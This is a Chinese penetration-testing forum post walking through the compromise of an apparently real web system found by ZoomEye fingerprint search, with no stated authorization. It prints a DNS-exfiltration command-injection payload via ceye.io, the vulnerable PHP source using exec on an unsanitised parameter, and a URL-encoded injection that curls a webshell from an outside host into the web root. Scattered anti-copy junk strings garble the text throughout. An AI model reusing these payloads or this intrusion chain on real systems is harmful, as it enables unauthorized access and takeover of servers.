中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin    时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
0 s! [7 v, \6 g% {** **寻找突破口**
/ `' p0 i6 e- X) I5 b' y
. v( @& O: A. g2 L3 C**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**
9 Q: E7 M6 [# ?  {3 B+ l! X' n0 b# F' l) T
![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
' o& k, i; Y- ], N+ n* K
& v' O" ~/ F. I7 U" g+ H: o
% Y+ l* P; t# t7 h1 o, l9 W3 `# j! b* T
9 l' b; g( ~& }3 A; T( i**发现reporter和[Technology,9 t/ ~4 [& E! G/ C
Inc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**5 {+ K# ^, `8 z2 ]7 J7 h& z

; s# d! ~5 K6 D1 G8 s0 p**地址为:**
( J8 Y: r1 z! Y( _$ j2 a9 E* a
% d! C; {$ t: E) h# \[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**,如图:**" C8 x! N9 y" W* f& |3 z" q. W
0 o+ P% z, S$ @4 @
![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
3 G4 \" U, W, K) J
3 j" g8 y% ]+ ~8 s. B& s  c6 U6 o+ L' s! r) R4 i5 O- }2 A1 w+ O* c  t
% x8 q4 `  W" o$ X, u, V4 {
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
# \: x/ J& f+ s; i7 W# y3 R2 K* V- z; _. d3 o: g6 Q9 m
**`whoami`.1111.ceye.io** **,如图:**: j6 h2 ~9 h: i2 n4 k/ `% C# S
$ w8 Q5 I% ~) q/ A
![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")# G$ c5 I& W9 V/ B( n

+ L, ^5 X- p; S1 |8 q- e% L% p+ S7 |# b
; t8 g, i, e5 V9 V
**返回dns记录如图:**. {0 y- e7 Y5 P1 \0 v4 N3 l# x
1 B; f# @9 t- _1 U  r5 `6 T9 {
![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png"), u% M( T4 J3 o: |& p

  w+ k7 ]; t  Y2 f, i! k% o) B# a& N( ]( h) x( W

- E3 J* \" }3 A( S( d**发现当前用户权限为root**8 Z0 d. a5 E& L; G. m7 ~5 U
4 u" U4 }( b( Y- L. N
**一、/ X0 m) f* U: \
** **通过漏洞组合getwebshell**! n6 |) A  r+ y; h

2 W% N( t" |' D9 V5 p**    ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
/ X  D9 P, v6 S: N: r- F& k+ v$ `2 M$ x1 h. U# J  w5 v# N
![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
2 x  h* C, t3 g+ [8 J" b. p( D( h! E  k6 Q( p4 [! e
% `5 ]( A8 P9 A) z

. y1 s$ J( Q% L/ g! N8 l: O**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**1 w+ m' ^: l4 k

! D# x* ?0 H% g1 }+ p**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**
, K' f$ p9 e' G( T. D$ i: a! o/ g
( j7 p/ q6 S$ r* r( O' }7 J![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")2 [& t% h6 m1 b

4 t# w: y, @8 g# D; W% |: n! ^9 ?! e**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
  J$ V0 U7 u5 U5 m; t0 U  e2 p3 ]) K9 G+ |
![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\
# W4 D4 F& r. E( ]
' r. W) C* q, A* Z+ a. @& \
; m0 x) O7 P- j. \**源代码为:**
! ?& ]6 s1 z7 r, K! q, W9 [- m% q* n( a% u
<?php
/ g7 ^, b0 B$ g4 @9 Binclude_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");9 z( v( q9 w& \6 E( Q* K
?>
- O4 x5 m  C  m3 I4 q8 O" H2 D1 I  m# Z  C8 y' O1 k( s8 j
<?php1 g) d0 w1 ?9 r5 m, u2 v( y8 u

; l- d/ y# u( d2 v  d3 b7 R8 t8 G- P. q) I* a% \

+ l. x# v% H& i+ ssession_start ();
: |2 m4 p9 f+ Y0 [1 @/ W' t* o( U* ]5 E
: q7 B* g" z/ C' G
- x1 [, @% h( p1 ^( |9 O8 ^% R8 l. U
+ |3 l5 Z6 m, U1 \1 _0 s) P' W

% O# N5 R3 B. K" p8 R% C& W3 s, u7 \3 o0 v+ U) {- Z- j
# H2 T7 ?7 M& O
if ($_GET ["objClass"] == "")
$ `& p8 T$ r3 A1 @- w4 Y+ m7 [* u
1 }0 @: a% `4 }) v) x' ?
; W8 f+ ?- F+ c2 K" x- y6 I3 P" D9 p, f, s6 e. g5 Y
      exit ();
3 I' C! R5 o9 W9 e; k/ X* W% Q! `4 q- s8 p+ l4 H

2 a  r% i4 Q5 I3 O9 f$ ^
6 o8 B: V$ _! G  q* |# b$param = $_REQUEST;
, a# M* u0 U7 H' I% C) s& v! @
2 Q! o) s4 y2 D  y% a
4 o3 O5 H2 r. l3 H5 g$ `& h0 J7 s$ @% V3 ?

; t! h# f0 }0 y( t# K% i! X5 [: |% L) E

- E! |1 p( C' x( A( d
* A0 Q' _) W  ]( e9 t( }" k7 ^+ @//echo "\n--------------------------\n";! D% h3 K0 s; T/ M6 {# S
& b% n2 ^% `5 o0 j( u

7 t1 T9 x' U- S- ^* d1 y
& L3 X4 `/ X8 k; C3 d//print_r($param);
, x. e( b7 q# ~* k. [& {% W  D3 E

: c' U3 Q7 W, f) ^
5 n3 l& f0 r8 V0 W' H7 n9 x//echo "\n--------------------------\n";/ m& {+ B) @. q7 m2 D9 }3 i! {6 c% z

- r" V& L- k; q# M) t+ c; M" @. l& t/ ^. @7 l
: L4 d/ N# ]0 h9 F+ X6 k' a
[if ($_GET ["method"] ==
, _7 W9 E* C: J' H0 s"getList" || $_GET ["method"] == "import" ||1 J6 r' e0 V$ J9 C/ N& Y
$_GET ["method"] == "processAlarm") ](){
" U8 w9 k# ^6 |! M
: W. J- A0 l7 E$ W$ i+ G* J% G+ ?; Q7 c4 b5 Q7 k3 u7 f  N8 P1 S

2 u5 x" u' Q) X5 m      $param
% U$ `! H$ O" e- z, z* @* p  C["user"] = $_SESSION ["s_userName"];
' H+ ]% _  M* O7 h. V$ l1 [# l0 P+ {: R2 y. e
1 x2 R+ q* g/ ~5 m
" p8 J  n) l; x) E
      $param
2 v. |* B# t% _2 F" X% Q5 F4 `["lan"] = $_SESSION ["lan"];
% `; W$ e# x) [0 x$ _0 P% ^- W5 p9 k0 d0 W
* b" J: x3 e. q7 y1 A& |  l& Q
5 D  I% j2 q7 O8 N, ^
      $param
& P, M. t5 v: x& o" [. w["regUserpath"] = $_SESSION ["regUserpath"];! I6 @4 m# m% _5 s
# z2 [& G9 g6 b- J
+ R: H! J- _) Z, ]- H

  d: y: P7 y/ m# H" ]   
& n0 p2 W6 q* |# y9 M- q" K6 V) l; G2 n' R6 F
# Y( P; \+ U  V7 l' X' d  r6 A

4 q0 r( ^7 A5 ?4 `- z8 h& C* _0 |6 s      exec (
8 H: k# ^$ I5 u& m5 S"rm -rf /tmp/cache" );' ?" v$ H3 M: R5 e! N' }

6 w& ]  e; L, w' u+ a3 m  [- V/ z/ f$ H% a! n6 }
- m7 n' P$ J% ^" `
      [$cmd = "/usr/local/php/bin/php ".$_SERVER
2 m2 Q/ x: C8 V! W4 I" i; G["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";](). ~. n- I; {, A6 ^3 w

3 z# M' K' X1 J8 O
: |, e7 G' d1 M; p9 A+ |
( x0 Q, @8 `2 M4 d, e0 n      $cmd .=
# X6 S. O! g' k+ i" " . $_GET ["objClass"];( ~  r. m( ~' v3 c& l( F0 ~% I

8 P8 @% u! X1 v6 k8 C1 b* H9 d$ m, }! _: s* [5 W
4 n1 ?# {" J! e, i1 W
      $cmd .=3 y# B! b4 m: e  ]' \
" " . $_GET ["method"];5 v* f3 A& u5 i0 \. X6 g

4 y* g" A, E. U6 J1 y3 I
' r( @. _  b! v3 m7 U8 \9 N" ^9 I5 s; z/ d
      $cmd .=2 b* U: z1 B) `" T+ H& e' M
" " . base64_encode ( json_encode ( $param ) );% W% h4 \) W) ^# t  t, ^
3 F, e9 U. u/ G" D7 J+ [9 x6 K

5 Q( T' I4 u" \0 S4 p1 \7 m" F( w, |3 \9 c! Q- k6 X8 z: Z4 ]
      [file_put_contents("/tmp/query_cmd",$cmd);]()
* `# m7 d: m8 i+ \$ q+ r  }+ T& {- N; Y4 Q, A  b8 u+ \

/ j1 ?% `7 a3 Q5 ^. e
% u) p! q$ J6 ?      exec ( $cmd . " % T  d, |; g* T
> /dev/null &" );% _" I" Q* |4 w% ~+ R

9 j7 `' c" M8 X! O$ d' o
9 K% H6 V8 f$ {3 K9 q9 r& ~4 ^& W
5 t5 ~5 l& P4 `' P2 `0 u
5 K) ~" B+ d2 n9 @: A4 y
: ?) m# h9 d/ f- l} else {; G) W: e6 H/ G
; R- B7 x, R/ [1 }! {5 m; n, D
+ S, s: K: l2 _$ h* v' A" }  d
0 d' r- h1 ]/ P% E3 y) \# Q4 N
      require_once8 ~4 _, }5 `9 I/ b. i. y
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");! u: d$ v( O( t! T- n
' \& E6 z$ t& t* S9 U# e$ s
5 w% _* M$ R0 @! u8 A

; H( c- g3 ]$ Z- P3 v, A" f      $obj = new4 j, Q* G+ u: m9 Y! e7 O+ ^* V) T2 _
QueryInterface ();
* q1 y& E- C$ Q1 {6 F6 {5 ^& N% W' h/ e* h
& v/ B- g& h5 `8 C+ _7 s- b7 S

6 P/ T7 |+ q+ @& U  ]  d      $instance =& T' ~2 ^! A) w7 d0 a
$obj->getInstance ();2 n' P$ e' Z8 c: @" D" b3 t" e1 m
1 C" a, {$ C" \# y) B. w% ^

- Q& s) S6 m( C. O4 I3 ^5 _& [0 L
, m% H: W$ n  q! D0 y7 h      $instance->invokeMethod; ]. ^/ i4 R) J) d
( $_GET ["objClass"], $_GET ["method"], $param );2 `& s7 e6 M* x0 |0 x- T& r
9 F. f# y& U. N
0 h. `% V# \; o; x; @* r
% N* Z, o2 O' _& W4 @# R- E  Z1 g4 j
}" f1 j* Q- R. C! ?1 l! r

0 R* P+ i% Z) z" ]1 t
. F7 ^1 v' H& [, \# c* h) D
3 N1 f' z$ a/ u2 bexit ();
! V: d1 ?" D! ^4 ?, h1 d3 H, T% }9 y0 k$ h' m- A" g9 g

& ^. ]1 u# u, ~" ?, t. w  i/ z' S2 k
?>' n! \' a& S1 ~7 b
' I( K  `. a7 q: @/ ?* z( q
**经常简单审计发现if ($_GET
0 W1 k& d3 M2 x1 z% {7 i" e["method"] == "getList" || $_GET ["method"] ==+ ^+ k8 y1 D8 m2 \* a8 D
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =  [. r* s9 e. n- z* F5 [' P
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
  g* t" S: Y* {- k! e"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
% B, i8 ?/ y5 f7 g) D$ f4 V- f  Q& M
**      exec ( $cmd
5 R, Y1 ?2 K1 ]: \. "  > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
  a' M: h% P& U* i
# n& Y  ^  h7 E2 F* ]& i5 ^
/ i. g3 T# V5 I![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
3 G+ m/ B& V, K! A) U: T* k/ S4 m, n+ C. I/ v; P
$ b  B3 x$ B5 J2 Q- {: t+ e
3 ]: y* T( f1 l1 v. H
**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**% y( I/ X# m2 _) K$ X

+ E, \4 M/ k9 \( [**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**( w$ x+ E9 H! Q2 ^, q: }( f7 G, ]' ?

0 ]. W" A; D  s: [- }**我们用url解码如下:**
/ a( x& Y# q) X5 I; v  t
5 x" c, w& e) k  K  `" r**|curl http://1.1.1.1/qYCwxRz1.zip -o0 }8 x- `. T. P) Z1 `
/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o
- d. Y/ m7 F2 k. Y0 _/ Q/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)7 a5 \; f' ]. _1 Y1 k& S/ P

" m  N' E) S( u0 @, H3 Z**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**5 @! c1 w+ M/ D; C( v5 r* I

# E8 W3 P- B) e* }, \6 K$ o  n( K# I8 a+ O5 W) M
![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")$ N8 E% i. [0 s% n) ~0 {
+ S6 P. l' g* f2 n4 w+ R

$ ~9 w9 X/ a5 u) N  T. P( m. L% E5 O
1 a8 r  m4 g; O4 q
**三、总结**
! j9 G2 `; l  f  E8 {/ d
. @7 O- |1 v# w$ A**   ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
! A1 J7 x  K( B5 Z/ @4 L$ I: _2 z6 X2 {) m
**   ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **/ j* d$ M2 {% ]8 [, I% M( `: ?
[/md]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2